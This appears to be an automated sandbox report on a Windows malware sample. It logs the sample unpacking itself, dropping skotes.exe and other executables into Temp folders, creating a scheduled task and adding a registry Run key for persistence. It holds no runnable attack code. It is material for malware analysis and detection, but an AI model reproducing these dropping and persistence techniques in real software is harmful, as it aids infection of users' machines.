Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: yjzllYsjlU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Unpacked PE file: 0.2.yjzllYsjlU.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Unpacked PE file: 0.2.yjzllYsjlU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.400000.0.unpack

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_0042BF99 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0042BF99

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00411359 push es; ret	0_2_0041135A
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0041D91C push ecx; ret	0_2_0041D92F
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0041DFC6 push ecx; ret	0_2_0041DFD9
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00531490 pushad ; iretd	0_2_00531491
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00547A09 push esi; iretd	0_2_00547A2C
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021915C0 push es; ret	0_2_021915C1
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0219DB83 push ecx; ret	0_2_0219DB96
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_02180F97 push 0044C2D0h; retn 0044h	0_2_02181269
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00708851 push esi; iretd	21_2_00708874
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_006ED8F4 pushad ; retf 006Eh	21_2_006ED8F5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_006F22D8 pushad ; iretd	21_2_006F22D9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021815C0 push es; ret	21_2_021815C1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0218DB83 push ecx; ret	21_2_0218DB96
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_02170F97 push 0044C2D0h; retn 0044h	21_2_02171269
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0041D91C push ecx; ret	28_2_0041D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0041DFC6 push ecx; ret	28_2_0041DFD9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00620F97 push 0044C2D0h; retn 0044h	28_2_00621269
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006315C0 push es; ret	28_2_006315C1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0063DB83 push ecx; ret	28_2_0063DB96
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006D5030 pushad ; iretd	28_2_006D5031
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006EB5A9 push esi; iretd	28_2_006EB5CC

Source: yjzllYsjlU.exe	Static PE information: section name: .text entropy: 7.836216550722494
Source: skotes.exe.0.dr	Static PE information: section name: .text entropy: 7.836216550722494

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000023001\532d9160c6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\1000026002\0f2a0c16ee.exe	Jump to dropped file

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0f2a0c16ee.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0f2a0c16ee.exe

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_0041C768 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041C768

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
